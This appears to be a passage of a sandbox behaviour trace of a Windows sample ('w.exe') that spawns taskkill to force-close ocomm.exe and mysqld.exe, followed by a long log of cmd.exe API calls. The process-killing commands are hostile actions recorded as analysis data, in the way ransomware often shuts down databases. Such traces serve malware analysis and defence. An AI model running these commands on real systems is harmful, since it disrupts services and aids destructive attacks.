	[0041.721] exit (_Code=128) 

Process:
	id = "41"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4b518000"
	os_pid = "0xaf4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "40"
	os_parent_pid = "0xa2c"
	cmd_line = "taskkill  /f /im ocomm.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 209
	os_tid = 0x3d0


Thread:
	id = 210
	os_tid = 0x944


Thread:
	id = 211
	os_tid = 0x940


Thread:
	id = 212
	os_tid = 0x93c


Thread:
	id = 213
	os_tid = 0x938


Process:
	id = "42"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ab73000"
	os_pid = "0x930"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mysqld.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 214
	os_tid = 0x92c

	[0041.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3df7dc | out: lpSystemTimeAsFileTime=0x3df7dc*(dwLowDateTime=0xfe8dcee0, dwHighDateTime=0x1d52dc4)) 
	[0041.798] GetCurrentProcessId () returned 0x930
	[0041.798] GetCurrentThreadId () returned 0x92c
	[0041.798] GetTickCount () returned 0x1aaaf
	[0041.798] QueryPerformanceCounter (in: lpPerformanceCount=0x3df7d4 | out: lpPerformanceCount=0x3df7d4*=16210765839) returned 1
	[0041.799] GetModuleHandleA (lpModuleName=0x0) returned 0x4a260000
	[0041.799] __set_app_type (_Type=0x1) 
	[0041.799] __p__fmode () returned 0x74eb31f4
	[0041.799] __p__commode () returned 0x74eb31fc
	[0041.799] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2821a6) returned 0x0
	[0041.799] __getmainargs (in: _Argc=0x4a284238, _Argv=0x4a284240, _Env=0x4a28423c, _DoWildCard=0, _StartInfo=0x4a284140 | out: _Argc=0x4a284238, _Argv=0x4a284240, _Env=0x4a28423c) returned 0
	[0041.799] GetCurrentThreadId () returned 0x92c
	[0041.799] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x92c) returned 0x60
	[0041.799] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0041.799] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0041.799] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0041.800] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0041.800] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3df76c | out: phkResult=0x3df76c*=0x0) returned 0x2
	[0041.800] VirtualQuery (in: lpAddress=0x3df7a3, lpBuffer=0x3df73c, dwLength=0x1c | out: lpBuffer=0x3df73c*(BaseAddress=0x3df000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0041.800] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x3df73c, dwLength=0x1c | out: lpBuffer=0x3df73c*(BaseAddress=0x2e0000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0041.800] VirtualQuery (in: lpAddress=0x2e1000, lpBuffer=0x3df73c, dwLength=0x1c | out: lpBuffer=0x3df73c*(BaseAddress=0x2e1000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0041.800] VirtualQuery (in: lpAddress=0x2e3000, lpBuffer=0x3df73c, dwLength=0x1c | out: lpBuffer=0x3df73c*(BaseAddress=0x2e3000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0041.800] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x3df73c, dwLength=0x1c | out: lpBuffer=0x3df73c*(BaseAddress=0x3e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0041.800] GetConsoleOutputCP () returned 0x1b5
	[0041.800] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1
	[0041.800] SetConsoleCtrlHandler (HandlerRoutine=0x4a27e72a, Add=1) returned 1
	[0041.800] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0041.800] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0041.801] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0041.801] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a2841ac | out: lpMode=0x4a2841ac) returned 0
	[0041.801] _get_osfhandle (_FileHandle=0) returned 0xac
	[0041.801] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a2841b0 | out: lpMode=0x4a2841b0) returned 0
	[0041.801] GetEnvironmentStringsW () returned 0x772008*
	[0041.801] GetProcessHeap () returned 0x760000
	[0041.801] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x772ae0
	[0041.801] FreeEnvironmentStringsW (penv=0x772008) returned 1
	[0041.801] GetProcessHeap () returned 0x760000
	[0041.801] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4) returned 0x770c40
	[0041.801] GetEnvironmentStringsW () returned 0x772008*
	[0041.801] GetProcessHeap () returned 0x760000
	[0041.801] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x7735b8
	[0041.802] FreeEnvironmentStringsW (penv=0x772008) returned 1
	[0041.802] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de6dc | out: phkResult=0x3de6dc*=0x68) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x0, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x1, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x1, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x0, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x40, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x40, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x40, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.802] RegCloseKey (hKey=0x68) returned 0x0
	[0041.802] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de6dc | out: phkResult=0x3de6dc*=0x68) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x40, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x1, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x1, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x0, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x9, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.802] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x4, lpData=0x3de6e8*=0x9, lpcbData=0x3de6e0*=0x4) returned 0x0
	[0041.803] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de6e4, lpData=0x3de6e8, lpcbData=0x3de6e0*=0x1000 | out: lpType=0x3de6e4*=0x0, lpData=0x3de6e8*=0x9, lpcbData=0x3de6e0*=0x1000) returned 0x2
	[0041.803] RegCloseKey (hKey=0x68) returned 0x0
	[0041.803] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163032
	[0041.803] srand (_Seed=0x5d163032) 
	[0041.803] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld.exe \""
	[0041.803] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld.exe \""
	[0041.803] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a285260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.803] GetProcessHeap () returned 0x760000
	[0041.803] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x772008
	[0041.803] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x772010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0041.804] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.804] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.804] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0041.804] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0041.804] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0041.804] GetProcessHeap () returned 0x760000
	[0041.804] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x772ae0 | out: hHeap=0x760000) returned 1
	[0041.804] GetEnvironmentStringsW () returned 0x772220*
	[0041.804] GetProcessHeap () returned 0x760000
	[0041.804] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xae2) returned 0x774b80
	[0041.805] FreeEnvironmentStringsW (penv=0x772220) returned 1
	[0041.805] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0041.805] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0041.805] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0041.805] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0041.805] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0041.805] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0041.805] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0041.805] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0041.805] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0041.805] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0041.805] GetProcessHeap () returned 0x760000
	[0041.805] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x54) returned 0x775670
	[0041.805] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3df4a8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3df4a8, lpFilePart=0x3df4a4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3df4a4*="Desktop") returned 0x25
	[0041.805] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0041.805] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3df224 | out: lpFindFileData=0x3df224*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x771e88
	[0041.805] FindClose (in: hFindFile=0x771e88 | out: hFindFile=0x771e88) returned 1
	[0041.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3df224 | out: lpFindFileData=0x3df224*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x771e88
	[0041.805] FindClose (in: hFindFile=0x771e88 | out: hFindFile=0x771e88) returned 1
	[0041.805] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0041.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3df224 | out: lpFindFileData=0x3df224*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x771e88
	[0041.806] FindClose (in: hFindFile=0x771e88 | out: hFindFile=0x771e88) returned 1
	[0041.806] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0041.806] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0041.806] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0041.806] GetProcessHeap () returned 0x760000
	[0041.806] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x774b80 | out: hHeap=0x760000) returned 1
	[0041.806] GetEnvironmentStringsW () returned 0x774090*
	[0041.806] GetProcessHeap () returned 0x760000
	[0041.806] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb36) returned 0x775ed0
	[0041.806] FreeEnvironmentStringsW (penv=0x774090) returned 1
	[0041.806] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a285260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.806] GetProcessHeap () returned 0x760000
	[0041.806] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x775670 | out: hHeap=0x760000) returned 1
	[0041.806] GetProcessHeap () returned 0x760000
	[0041.806] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400e) returned 0x776a10
	[0041.807] GetProcessHeap () returned 0x760000
	[0041.807] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x48) returned 0x771e88
	[0041.807] GetProcessHeap () returned 0x760000
	[0041.807] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4008) returned 0x77aa28
	[0041.807] GetProcessHeap () returned 0x760000
	[0041.807] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4008) returned 0x77ea38
	[0041.809] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0041.809] GetProcessHeap () returned 0x760000
	[0041.809] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x418) returned 0x772d60
	[0041.809] SetErrorMode (uMode=0x0) returned 0x8003
	[0041.809] SetErrorMode (uMode=0x1) returned 0x0
	[0041.809] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x772d68, lpFilePart=0x3df420 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3df420*="f") returned 0x31
	[0041.809] SetErrorMode (uMode=0x8003) returned 0x1
	[0041.809] GetProcessHeap () returned 0x760000
	[0041.809] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x772d60, Size=0x8a) returned 0x772d60
	[0041.809] GetProcessHeap () returned 0x760000
	[0041.809] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x772d60) returned 0x8a
	[0041.809] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0041.809] GetProcessHeap () returned 0x760000
	[0041.809] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x72) returned 0x782a60
	[0041.810] GetProcessHeap () returned 0x760000
	[0041.810] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xd8) returned 0x772df8
	[0041.810] GetProcessHeap () returned 0x760000
	[0041.810] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x772df8, Size=0x72) returned 0x772df8
	[0041.810] GetProcessHeap () returned 0x760000
	[0041.810] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x772df8) returned 0x72
	[0041.810] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.810] GetProcessHeap () returned 0x760000
	[0041.810] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x772e78
	[0041.813] GetProcessHeap () returned 0x760000
	[0041.813] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x772e78, Size=0x76) returned 0x772e78
	[0041.813] GetProcessHeap () returned 0x760000
	[0041.813] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x772e78) returned 0x76
	[0041.813] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mysqld.exe ", fInfoLevelId=0x1, lpFindFileData=0x3df1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3df1bc) returned 0xffffffff
	[0041.814] GetLastError () returned 0x3
	[0041.814] GetProcessHeap () returned 0x760000
	[0041.814] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x77aa28 | out: hHeap=0x760000) returned 1
	[0041.814] GetProcessHeap () returned 0x760000
	[0041.814] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x77ea38 | out: hHeap=0x760000) returned 1
	[0041.814] GetProcessHeap () returned 0x760000
	[0041.814] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x776a10 | out: hHeap=0x760000) returned 1
	[0041.814] GetConsoleOutputCP () returned 0x1b5
	[0041.814] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1
	[0041.814] GetUserDefaultLCID () returned 0x409
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a284950, cchData=8 | out: lpLCData=":") returned 2
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3df5e8, cchData=128 | out: lpLCData="0") returned 2
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3df5e8, cchData=128 | out: lpLCData="0") returned 2
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3df5e8, cchData=128 | out: lpLCData="1") returned 2
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a284940, cchData=8 | out: lpLCData="/") returned 2
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a284d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a284d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a284d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a284cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0041.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a284c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0041.816] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a284c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0041.816] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a284c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0041.816] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a284930, cchData=8 | out: lpLCData=".") returned 2
	[0041.816] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a284920, cchData=8 | out: lpLCData=",") returned 2
	[0041.816] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0041.817] GetProcessHeap () returned 0x760000
	[0041.817] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x20c) returned 0x772f30
	[0041.817] GetConsoleTitleW (in: lpConsoleTitle=0x772f30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.817] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0041.817] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0041.817] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0041.817] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0041.817] GetProcessHeap () returned 0x760000
	[0041.818] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400a) returned 0x776a10
	[0041.818] GetProcessHeap () returned 0x760000
	[0041.818] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x776a10 | out: hHeap=0x760000) returned 1
	[0041.818] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0041.818] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0041.818] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0041.818] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0041.818] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0041.818] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0041.818] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0041.818] GetProcessHeap () returned 0x760000
	[0041.818] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x58) returned 0x773148
	[0041.818] GetProcessHeap () returned 0x760000
	[0041.819] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x1a) returned 0x775710
	[0041.819] GetProcessHeap () returned 0x760000
	[0041.819] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x30) returned 0x7731a8
	[0041.820] GetConsoleTitleW (in: lpConsoleTitle=0x3df2e0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.820] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0041.820] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0041.820] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
